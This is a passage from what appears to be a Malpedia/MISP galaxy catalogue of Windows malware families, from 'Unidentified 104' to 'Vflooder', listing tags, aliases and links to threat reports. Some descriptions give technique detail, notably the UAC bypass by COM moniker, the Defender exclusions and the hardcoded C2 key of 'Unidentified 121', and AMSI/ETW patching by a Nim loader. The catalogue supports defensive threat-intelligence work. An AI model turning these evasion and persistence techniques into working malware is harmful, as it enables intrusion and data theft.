https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_103
https://otx.alienvault.com/pulse/61e7f74a936eea5d44026b8e
https://github.com/prodaft/malware-ioc/tree/master/RagnarLoader
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor

Unidentified 104

The tag is: *misp-galaxy:malpedia="Unidentified 104"*

Unidentified 104 is also known as:

Table 5470. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_104
https://twitter.com/jaydinbas/status/1663916211975987201

Unidentified 105

The tag is: *misp-galaxy:malpedia="Unidentified 105"*

Unidentified 105 is also known as:

Table 5471. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_105
https://twitter.com/h2jazi/status/1681426768597778440

Unidentified 106

This is possibly related to the MATA framework / Dacls.

The tag is: *misp-galaxy:malpedia="Unidentified 106"*

Unidentified 106 is also known as:

Table 5472. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_106
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/dark-river-you-can-t-see-them-but-they-re-there/
https://www.virustotal.com/gui/file/3c1cfc2b8b7e5c2d713ec5f329aa58a6b56a08240199761ba6da91e719d30705/detection
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2023/10/18092216/Updated-MATA-attacks-Eastern-Europe_full-report_ENG.pdf

Unidentified 107 (APT29)

Small shellcode downloader, likely used by APT29.

The tag is: *misp-galaxy:malpedia="Unidentified 107 (APT29)"*

Unidentified 107 (APT29) is also known as:

- ICEBEAT

Table 5473. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_107
https://blog.eclecticiq.com/german-embassy-lure-likely-part-of-campaign-against-nato-aligned-ministries-of-foreign-affairs#a3

https://www.mandiant.com/resources/blog/apt29-evolving-diplomatic-phishing
https://lab52.io/blog/2344-2/
https://mp.weixin.qq.com/s?biz=MzUyMDEyNTkwNA%3D%3D&mid=2247494783&idx=1&sn=612cf3cea1ef62e04bfb6bd0ce3b6b65&chksm=f9ed80c0ce9a09d6f5edc1424df5260cb9a9cf55fe92bd922407eef960650e91ec8cc46933ab&scene=178&cur_album_id=1375769135073951745

Unidentified 108

The tag is: *misp-galaxy:malpedia="Unidentified 108"*

Unidentified 108 is also known as:

Table 5474. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_108
https://www.virustotal.com/gui/file/8c94a3cef4e45a1db05ae9723ce5f5ed66fc57316e9868f66c995ebee55f5117/detection

Unidentified 109 (Lazarus?)

The tag is: *misp-galaxy:malpedia="Unidentified 109 (Lazarus?)"*

Unidentified 109 (Lazarus?) is also known as:

- IMEEX

Table 5475. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_109
https://twitter.com/malwrhunterteam/status/1689533484597952514

Unidentified 110 (RustyFlag)

According to Deep Instinct, this information stealer is written in Rust and was observed in Operation Rusty Flag.

The tag is: *misp-galaxy:malpedia="Unidentified 110 (RustyFlag)"*

Unidentified 110 (RustyFlag) is also known as:

Table 5476. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_110
https://www.deepinstinct.com/blog/operation-rusty-flag-a-malicious-campaign-against-azerbaijanian-targets

Unidentified 112 (Rust-based Stealer)

A Rust-based stealer, observed by Seqrite, along TTPs overlapping with Pakistan-linked APT groups.

The tag is: *misp-galaxy:malpedia="Unidentified 112 (Rust-based Stealer)"*

Unidentified 112 (Rust-based Stealer) is also known as:

Table 5477. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_112
https://www.seqrite.com/blog/operation-rusticweb-targets-indian-govt-from-rust-based-malware-to-web-service-exfiltration/

Unidentified 113 (RAT)

According to Phylum, this is a RAT with these characteristics: * Registers as a scheduled task. * Receives commands from a remote server using web sockets. * Installs Chrome extensions to Secure Preferences. * Configures AnyDesk, hides the screen, and disables shutting down Windows. * Captures keyboard and mouse events. * Collects information about files, browser extensions, and browser history.

The tag is: *misp-galaxy:malpedia="Unidentified 113 (RAT)"*

Unidentified 113 (RAT) is also known as:

Table 5478. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_113
https://blog.phylum.io/npm-package-found-delivering-sophisticated-rat/

Unidentified 114 (APT28 InfoStealer)

According to Trend Micro, this is a small information stealer written in .NET, that pushes its loot to a benign file sharing service and does not have a direct C&C callback.

The tag is: *misp-galaxy:malpedia="Unidentified 114 (APT28 InfoStealer)"*

Unidentified 114 (APT28 InfoStealer) is also known as:

Table 5479. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_114
https://www.trendmicro.com/en_us/research/24/a/pawn-storm-uses-brute-force-and-stealth.html

Unidentified 115 (Nim Loader)

According to Walmart, this is a loader written in Nim that contains an AmsiScanBuffer patch followed by a EtwEventWrite patch and that will download/decrypt a payload via AES CFB and inject it into a hardcoded process target (e.g. explorer.exe).

The tag is: *misp-galaxy:malpedia="Unidentified 115 (Nim Loader)"*

Unidentified 115 (Nim Loader) is also known as:

Table 5480. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_115
https://medium.com/walmartglobaltech/unknown-nim-loader-using-psbypassclm-cafdf0e0f5cd

Unidentified 116 (Miner)

This malware family delivers its artifacts packed with free and generic packers. It writes files to windows temporary folders, downloads additional malware (generally cryptominers) and deletes itself.

The tag is: *misp-galaxy:malpedia="Unidentified 116 (Miner)"*

Unidentified 116 (Miner) is also known as:

Table 5481. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_116

Unidentified 117 (Donot Loader)

The tag is: *misp-galaxy:malpedia="Unidentified 117 (Donot Loader)"*

Unidentified 117 (Donot Loader) is also known as:

Table 5482. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_117

https://mp.weixin.qq.com/s?biz=MzUyMjk4NzExMA==&mid=2247501270&idx=1&sn=203ae98a60ffc172cb9e06a1b95116c6&chksm=f9c1f6dfceb67fc916f29b04e9e63fe81a1f916d575ae8c32250fb954ca9619153ba864e118d&scene=178&cur_album_id=1955835290309230595

Unidentified 118

The tag is: *misp-galaxy:malpedia="Unidentified 118"*

Unidentified 118 is also known as:

Table 5483. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_118
https://blog.sekoia.io/ratatouille-cooking-up-chaos-in-the-i2p-kitchen/
https://www.gdatasoftware.com/blog/2024/12/38093-ip2rat-malware
https://x.com/naumovax/status/1841092516302504155
https://cofense.com/blog/custom-i2p-rat-i2parcae%E2%80%9D-delivered-via-pornographic-customer-support-form-spam

Unidentified 120

According to Deutsche Telekom CERT, this malware unpacks an obfuscated, multi-stage shellcode payload. After unpacking, a password prompt is displayed to the user. The password is provided to the victim and used to decrypt the final stage payload.

The tag is: *misp-galaxy:malpedia="Unidentified 120"*

Unidentified 120 is also known as:

Table 5484. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_120
https://x.com/DTCERT/status/1890384162818802135

Unidentified 121

unidentified_121 acts as a downloader and reflective PE loader, employing a dual-mode execution strategy based on its privilege level. When executed without administrative rights, it uniquely attempts to bypass User Account Control (UAC) by first patching its own Process Environment Block

(PEB) in memory to masquerade as explorer.exe, and then leveraging a specific COM object ({3E5FC7F9-9A51-4367-9063-A120244FBEC7} with the Elevation:Administrator!new: moniker) to relaunch itself with elevated privileges. This initial stage focuses purely on achieving elevation and does not perform C2 communication or direct payload execution itself in the non-elevated state.

Once running with administrative privileges (either initially or after successful elevation), the malware establishes persistence by creating a Scheduled Task named "BlaBlaAgu" using COM, configuring it to run with the highest privileges and repeat every five minutes indefinitely. It actively evades defenses by using PowerShell commands (Add-MpPreference) to add Windows Defender exclusions for its own process and the user's profile directory, reinforcing these exclusions every 60 seconds via a separate thread. Its primary function in this elevated state is to act as a downloader, connecting to its Command and Control (C2) server over TCP port 33334 using a custom protocol encrypted with an RC4-like cipher and the hardcoded key "ALB9SxZBzCqwPFnD"; after a distinct 20-byte client handshake (RC4 Key + integer 444, followed by a 16-byte server response (RC4 Key) for validation), it downloads further encrypted PE payloads and executes them reflectively in its own memory space.

The tag is: *misp-galaxy:malpedia="Unidentified 121"*

Unidentified 121 is also known as:

Table 5485. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_121
https://www.virustotal.com/gui/file/b804ab085f7cf9ee546d586b36ebbeb73f874205b8fae048760dee78375ddf40

Unidentified 122 (Stealer)

According to Datadog, this malware functions primarily as a credential and infostealer. It enumerates LevelDB files within application data directories for Discord, Chromium-based browsers, cryptocurrency wallets, and Electron applications.

The tag is: *misp-galaxy:malpedia="Unidentified 122 (Stealer)"*

Unidentified 122 (Stealer) is also known as:

Table 5486. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_122
https://securitylabs.datadoghq.com/articles/mut-9332-malicious-solidity-vscode-extensions/#infection-chains-and-intermediate-payloads

Unidentified 123 (Go Infostealer)

An infostealer written in Go.

The tag is: *misp-galaxy:malpedia="Unidentified 123 (Go Infostealer)"*

Unidentified 123 (Go Infostealer) is also known as:

- Go Infostealer

Table 5487. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_123
https://www.virustotal.com/gui/file/2a448324f84fca6b8149edb28050d5b5ece2194bcfa1db6ccaa6f014fe4a4b97

Unlock92

The tag is: *misp-galaxy:malpedia="Unlock92"*

Unlock92 is also known as:

Table 5488. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.unlock92
https://twitter.com/bartblaze/status/976188821078462465
https://twitter.com/struppigel/status/810753660737073153

UPAS

The tag is: *misp-galaxy:malpedia="UPAS"*

UPAS is also known as:

- Rombrast

Table 5489. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.upas
https://research.checkpoint.com/deep-dive-upas-kit-vs-kronos/
https://malware.dontneedcoffee.com/2012/12/eyeglanceru.html
https://malware.dontneedcoffee.com/2012/08/inside-upas-kit1.0.1.1.html

Upatre

Upatre is primarly a downloader. It has been discovered in 2013 and since that time it has been widely updated. Upatre is responsible for delivering further malware to the victims, in specific

upatre was a prolific delivery mechanism for Gameover P2P in 2013-2014 and then for Dyre in 2015.

The tag is: *misp-galaxy:malpedia="Upatre"*

Upatre is also known as:

Table 5490. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.upatre
https://johannesbader.ch/2015/06/Win32-Upatre-BI-Part-1-Unpacking/
https://secrary.com/ReversingMalware/Upatre/
https://researchcenter.paloaltonetworks.com/2018/07/unit42-upatre-continues-evolve-new-anti-analysis-techniques/
https://marcoramilli.com/2020/06/24/is-upatre-downloader-coming-back/
https://unit42.paloaltonetworks.com/ticked-off-upatre-malwares-simple-anti-analysis-trick-to-defeat-sandboxes/

Urausy

The tag is: *misp-galaxy:malpedia="Urausy"*

Urausy is also known as:

Table 5491. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.urausy
https://malware.dontneedcoffee.com/2012/12/eyeglanceru.html

UrlZone

The tag is: *misp-galaxy:malpedia="UrlZone"*

UrlZone is also known as:

- Bebloh
- Shiotob

Table 5492. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.urlzone
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf
https://www.johannesbader.ch/2015/01/the-dga-of-shiotob/

https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much
https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware
https://www.proofpoint.com/us/threat-insight/post/urlzone-top-malware-japan-while-emotet-and-line-phishing-round-out-landscape-0
https://www.crowdstrike.com/blog/cutwail-spam-campaign-uses-steganography-to-distribute-urlzone/
https://www.cybereason.com/blog/new-ursnif-variant-targets-japan-packed-with-new-features
http://blog.inquest.net/blog/2019/03/09/Analyzing-Sophisticated-PowerShell-Targeting-Japan/
https://www.proofpoint.com/us/threat-insight/post/Vawtrak-UrlZone-Banking-Trojans-Target-Japan
https://krebsonsecurity.com/2011/07/trojan-tricks-victims-into-transfering-funds/
https://www.fireeye.com/blog/threat-research/2016/01/urlzone_zones_inon.html
https://www.gdatasoftware.com/blog/2013/12/23978-bebloh-a-well-known-banking-trojan-with-noteworthy-innovations
https://mp.weixin.qq.com/s/NRytT94ne5gKN31CSLq6GA
https://www.virusbulletin.com/virusbulletin/2012/09/urlzone-reloaded-new-evolution/

Uroburos (Windows)

Uroburos is a driver for Windows, including a bypass of PatchGuard. According to Andrzej Dereszowski and Matthieu Kaczmarek, "the techniques used demonstrate [their] excellent knowledge of Windows kernel internals."

The tag is: *misp-galaxy:malpedia="Uroburos (Windows)"*

Uroburos (Windows) is also known as:

- Snake

Table 5493. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.uroburos
https://www.gdatasoftware.com/blog/2014/06/23953-analysis-of-uroburos-using-windbg
https://artemonsecurity.com/uroburos.pdf
https://www.circl.lu/pub/tr-25/
https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf
https://artemonsecurity.com/snake_whitepaper.pdf
https://www.carbonblack.com/2017/08/18/threat-analysis-carbon-black-threat-research-dissects-png-dropper/
https://securelist.com/analysis/publications/65545/the-epic-turla-operation/

https://www.gdatasoftware.com/blog/2014/02/23968-uroburos-highly-complex-espionage-software-with-russian-roots
https://www.secureworks.com/research/threat-profiles/iron-hunter
https://exatrack.com/public/Tricephalic_Hellkeeper.pdf
https://research.nccgroup.com/2018/11/22/turla-png-dropper-is-back/
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a
https://www.gdatasoftware.com/blog/2014/03/23966-uroburos-deeper-travel-into-kernel-protection-mitigation
https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified
https://www.gdatasoftware.com/blog/2014/05/23958-uroburos-rootkit-belgian-foreign-ministry-stricken
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/november/turla-png-dropper-is-back/
https://exatrack.com/public/Uroburos_EN.pdf
https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence

USBCulprit

According to Kaspersky, USBCulprit is a malware that is capable of scanning various paths in victim machines, collecting documents with particular extensions and passing them on to USB drives when they are connected to the system. It can also selectively copy itself to a removable drive in the presence of a particular file, suggesting it can be spread laterally by having designated drives infected and the executable in them opened manually.

The tag is: *misp-galaxy:malpedia="USBCulprit"*

USBCulprit is also known as:

Table 5494. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.usbculprit
https://drive.google.com/file/d/11otA_VmL061KcFC5MhDYuNdIKHYbpyrd/view
https://securelist.com/cycldek-bridging-the-air-gap/97157/
https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf

USBferry

The tag is: *misp-galaxy:malpedia="USBferry"*

USBferry is also known as:

Table 5495. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.usbferry
https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf
https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-troopers-back-usbferry-attack-targets-air-gapped-environments/

Vadokrist

ESET reports that Vadokrist is a Latin American banking trojan that they have been tracking since 2018 and that is active almost exclusively in Brazil.

The tag is: *misp-galaxy:malpedia="Vadokrist"*

Vadokrist is also known as:

Table 5496. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vadokrist
https://www.welivesecurity.com/wp-content/uploads/2021/05/eset_threat_report_t12021.pdf
https://www.welivesecurity.com/2021/01/21/vadokrist-wolf-sheeps-clothing/

Vaggen

The tag is: *misp-galaxy:malpedia="Vaggen"*

Vaggen is also known as:

Table 5497. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vaggen
https://blog.malwarebytes.com/cybercrime/2020/10/fake-covid-19-survey-hides-ransomware-in-canadian-university-attack/

Valkyrie Stealer

The tag is: *misp-galaxy:malpedia="Valkyrie Stealer"*

Valkyrie Stealer is also known as:

Table 5498. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.valkyrie_stealer
https://www.dexpose.io/inside-valkyrie-stealer-capabilities-evasion-techniques-and-operator-profile/

ValleyRAT

The tag is: *misp-galaxy:malpedia="ValleyRAT"*

ValleyRAT is also known as:

- Winos

Table 5499. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.valley_rat
https://hexastrike.com/resources/blog/threat-intelligence/valleyrat-exploiting-byovd-to-kill-endpoint-security/
https://www.trendmicro.com/en_us/research/24/f/behind-the-great-wall-void-arachne-targets-chinese-speaking-user.html
https://www.rapid7.com/blog/post/2024/11/27/new-cleversoar-installer-targets-chinese-and-vietnamese-users/
https://www.fortinet.com/blog/threat-research/winos-spreads-via-impersonation-of-official-email-to-target-users-in-taiwan
https://www.netresec.com/?page=Blog&month=2025-09&post=Gh0stKCP-Protocol
https://research.checkpoint.com/2025/cracking-valleyrat-from-builder-secrets-to-kernel-rootkits/
https://any.run/malware-trends/valleyrat
https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/
https://www.esentire.com/blog/winos4-0-online-module-staging-component-used-in-cleversoar-campaign
https://www.secrss.com/articles/52018
https://www.zscaler.com/blogs/security-research/technical-analysis-latest-variant-valleyrat
https://x.com/silentpush/status/1892458955189686553
https://www.proofpoint.com/us/blog/threat-insight/chinese-malware-appears-earnest-across-cybercrime-threat-landscape
https://www.spamhaus.org/resource-hub/botnet-c-c/botnet-threat-update-january-to-june-2025/
https://www.cyderes.com/howler-cell/chrome-installer-impersonation-campaign-targets-china-based-victims-with-valleyrat-trojan

VALUEVAULT

The tag is: *misp-galaxy:malpedia="VALUEVAULT"*

VALUEVAULT is also known as:

Table 5500. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.valuevault
https://intezer.com/blog-new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/
https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html
https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae

Vampire Bot

The tag is: *misp-galaxy:malpedia="Vampire Bot"*

Vampire Bot is also known as:

Table 5501. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vampire_bot
https://www.aryaka.com/docs/reports/batshadow-vietnamese-threat-group-vampire-bot-report.pdf

VanHelsing

The tag is: *misp-galaxy:malpedia="VanHelsing"*

VanHelsing is also known as:

Table 5502. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vanhelsing
https://www.fortinet.com/blog/threat-research/ransomware-roundup-vanhelsing

vanillarat

Description:

VanillaRat is an advanced remote administration tool coded in C#. VanillaRat uses the Telepathy TCP networking library, dnlib module reading and writing library, and Costura.Fody dll embedding

library. Features:

```
Remote Desktop Viewer (With remote click)
File Browser (Including downloading, drag and drop uploading, and file opening)
Process Manager
Computer Information
Hardware Usage Information (CPU usage, disk usage, available ram)
Message Box Sender
Text To Speech
Screen Locker
Live Keylogger (Also shows current window)
Website Opener
Application Permission Raiser (Normal -> Admin)
Clipboard Text (Copied text)
Chat (Does not allow for client to close form)
Audio Recorder (Microphone)
Process Killer (Task manager, etc.)
Remote Shell
Startup
Security Blacklist (Drag client into list if you don't want connection. Press del. key
on client to remove from list)
```

The tag is: *misp-galaxy:malpedia="vanillarat"*

vanillarat is also known as:

Table 5503. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vanillarat
https://github.com/DannyTheSloth/VanillaRAT

VaporRage

According to Mandiant, VaporRage or BOOMMIC, is a shellcode downloader written in C that communicates over HTTPS. Shellcode Payloads are retrieved from a hardcoded C2 that uses an encoded host_id generated from the targets domain and account name. BOOMMIC XOR decodes the downloaded shellcode payload in memory and executes it.

The tag is: *misp-galaxy:malpedia="VaporRage"*

VaporRage is also known as:

- BOOMMIC

Table 5504. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vapor_rage

https://www.mandiant.com/resources/blog/tracking-apt29-phishing-campaigns
https://www.incibe.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf
https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf
https://mrtiepolo.medium.com/sophisticated-apt29-campaign-abuses-notion-api-to-target-the-european-commission-200188059f58

Varenyky

In May 2019, ESET researchers observed a spike in ESET telemetry data regarding malware targeting France. After further investigations, they identified malware that distributes various types of spam. One of them is leading to a survey that redirects to a dodgy smartphone promotion while the other is a sextortion campaign. The spam targets the users of Orange S.A., a French ISP.

The tag is: *misp-galaxy:malpedia="Varenyky"*

Varenyky is also known as:

Table 5505. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.varenyky
https://krebsonsecurity.com/2019/12/nuclear-bot-author-arrested-in-sextortion-case/
https://www.welivesecurity.com/2019/08/08/varenyky-spambot-campaigns-france/

Vawtrak

The tag is: *misp-galaxy:malpedia="Vawtrak"*

Vawtrak is also known as:

- Catch
- NeverQuest
- grabnew

Table 5506. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vawtrak
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://www.blueliv.com/downloads/network-insights-into-vawtrak-v2.pdf
http://thehackernews.com/2017/01/neverquest-fbi-hacker.html

https://medium.com/@Ilandu/vawtrak-malware-824818c1837
https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/
https://threatpost.com/pos-attacks-net-crooks-20-million-stolen-bank-cards/117595/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/
https://info.phishlabs.com/blog/the-unrelenting-evolution-of-vawtrak
https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest
https://www.secureworks.com/research/dyre-banking-trojan
https://fidelissecurity.com/threatgeek/archive/me-and-mr-robot-tracking-actor-behind-man1-crypter/

Veaty

The tag is: *misp-galaxy:malpedia="Veaty"*

Veaty is also known as:

- Whisper

Table 5507. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.veaty
https://www.welivesecurity.com/en/eset-research/bladedfeline-whispering-dark/
https://research.checkpoint.com/2024/iranian-malware-attacks-iraqi-government/

Veeam Dumper

Credential Stealer, written in .NET.

The tag is: *misp-galaxy:malpedia="Veeam Dumper"*

Veeam Dumper is also known as:

- Eamfo

Table 5508. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.veeam
https://blogs.blackberry.com/en/2022/09/the-curious-case-of-monti-ransomware-a-real-world-doppelganger

VegaLocker

Delphi-based ransomware.

The tag is: *misp-galaxy:malpedia="VegaLocker"*

VegaLocker is also known as:

- Buran
- Vega

Table 5509. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vegalocker
https://medium.com/walmartglobaltech/man1-moskal-hancitor-and-a-side-of-ransomware-d77b4d991618
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/buran-ransomware-the-evolution-of-vegalocker/
https://twitter.com/malwrhunterteam/status/1095024267459284992
https://twitter.com/malwrhunterteam/status/1093136163836174339

VEILEDSIGNAL

The tag is: *misp-galaxy:malpedia="VEILEDSIGNAL"*

VEILEDSIGNAL is also known as:

Table 5510. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.veiledsignal
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/xtrader-3cx-supply-chain

VELETRIX

According to Seqrite, VELETRIX as been observed as a loader for VShell.

The tag is: *misp-galaxy:malpedia="VELETRIX"*

VELETRIX is also known as:

Table 5511. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.veletrix
https://0x0d4y.blog/telecommunications-supply-chain-china-nexus-threat-technical-analysis-of-veletrix-loaders-strategic-infrastructure-positioning/
https://0x0d4y.blog/veletrix-loader-infection-a-look-from-a-digital-forensic-perspective/
https://www.seqrite.com/blog/operation-dragonclone-chinese-telecom-veletrix-vshell-malware/

Velso

Ransomware that appears to require manually installation (believed to be via RDP). Encrypts files with .velso extension.

The tag is: *misp-galaxy:malpedia="Velso"*

Velso is also known as:

Table 5512. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.velso
https://www.bleepingcomputer.com/news/security/the-velso-ransomware-being-manually-installed-by-attackers/

Vendetta

Ransomware, which appears to be a rebranding of win.cuba.

The tag is: *misp-galaxy:malpedia="Vendetta"*

Vendetta is also known as:

Table 5513. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vendetta
https://www.malwarebytes.com/blog/threat-intelligence/2023/03/ransomware-review-march-2023

Venom RAT

The tag is: *misp-galaxy:malpedia="Venom RAT"*

Venom RAT is also known as:

Table 5514. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.venom

https://dti.domaintools.com/VenomRAT/
https://axmahr.github.io/posts/asyncrat-detection/
https://blog.malwarelab.pl/posts/venom/
https://www.politie.nl/nieuws/2025/november/12/11-opnieuw-criminele-infrastructuur-ontmanteld-in-internationale-ransomware-operatie.html
https://blogs.jpcert.or.jp/en/2020/12/quasar-family.html
https://www.rapid7.com/blog/post/2024/11/21/a-bag-of-rats-venomrat-vs-asyncrat/
https://github.com/jeFF0Falltrades/rat_king_parser
https://research.checkpoint.com/2024/foxit-pdf-flawed-design-exploitation/
https://www.cybeseclabs.com/2020/05/07/venom-remote-administration-tool-from-venom-software/

VenomLoader

The tag is: *misp-galaxy:malpedia="VenomLoader"*

VenomLoader is also known as:

Table 5515. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.venomloader
https://www.zscaler.com/blogs/security-research/unveiling-revc2-and-venom-loader

VenomLNK

VenomLNK is the initial phase of the more_eggs malware-as-a-service. It is a poisoned .lnk file that depends on User Execution and points to LOLBINs (often cmd.exe) with additional obfuscated scripting options. This typically initiates WMI abuse and TerraLoader, which can load additional functionality through various plugins.

The tag is: *misp-galaxy:malpedia="VenomLNK"*

VenomLNK is also known as:

Table 5516. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.venom_lnk
https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/
https://www.esentire.com/web-native-pages/unmasking-venom-spider
https://medium.com/@quoscient/the-chicken-keeps-laying-new-eggs-uncovering-new-gc-maas-tools-used-by-top-tier-threat-actors-531d80a6b4e9

https://www.esentire.com/blog/hackers-spearphish-corporate-hiring-managers-with-poisoned-resumes-infecting-them-with-the-more-eggs-malware
https://www.esentire.com/security-advisories/hackers-spearphish-professionals-on-linkedin-with-fake-job-offers-infecting-them-with-malware-warns-esentire

Venom Proxy

According to Cisco Talos, this is a reverse proxy socks5 server-client tool originally developed for penetration testers.

The tag is: *misp-galaxy:malpedia="Venom Proxy"*

Venom Proxy is also known as:

Table 5517. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.venom_proxy
https://blog.talosintelligence.com/new-zardoor-backdoor/

Venus Locker

The tag is: *misp-galaxy:malpedia="Venus Locker"*

Venus Locker is also known as:

Table 5518. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.venus_locker
https://twitter.com/JaromirHorejsi/status/813690129088937984

Vermilion Strike (Windows)

The tag is: *misp-galaxy:malpedia="Vermilion Strike (Windows)"*

Vermilion Strike (Windows) is also known as:

Table 5519. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vermilion_strike
https://www.intezer.com/blog/malware-analysis/vermilionstrike-reimplementation-cobaltstrike/

Vermin

The tag is: *misp-galaxy:malpedia="Vermin"*

Vermin is also known as:

Table 5520. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vermin
https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/
https://socprime.com/blog/vermin-uac-0020-hacking-collective-hits-ukrainian-government-and-military-with-spectr-malware/
https://www.fireeye.com/blog/threat-research/2019/04/spear-phishing-campaign-targets-ukraine-government.html
https://www.welivesecurity.com/2018/07/17/deep-dive-vermin-rathole/

Vetta Loader

Vetta Loader is a persistent Loader spreading with infected USB drives. It downloads other components leveraging legit hosting services. https://yoroi.company/wp-content/uploads/2023/12/202311-Vetta-Loader_Def-min.pdf

The tag is: *misp-galaxy:malpedia="Vetta Loader"*

Vetta Loader is also known as:

- BrokerLoader
- EMPTYSPACE

Table 5521. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vetta_loader
https://yoroi.company/en/research/unveiling-vetta-loader-a-custom-loader-hitting-italy-and-spread-through-infected-usb-drives/
https://www.googlecloudcommunity.com/gc/Community-Blog/Finding-Malware-Detecting-EMPTYSPACE-with-Google-Security
https://www.mandiant.com/resources/blog/unc4990-evolution-usb-malware
https://fortgale.com/blog/featured/nebula-broker-offensive-operations-italy/

Vflooder

Vflooder floods VirusTotal by infinitely submitting a copy of itself. Some variants apparently also

try to flood Twitter. The impact on these services are negligible, but for researchers it can be a nuisance. Most versions are protected by VMProtect.

The tag is: *misp-galaxy:malpedia="Vflooder"*

Vflooder is also known as:

Table 5522. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.vflooder
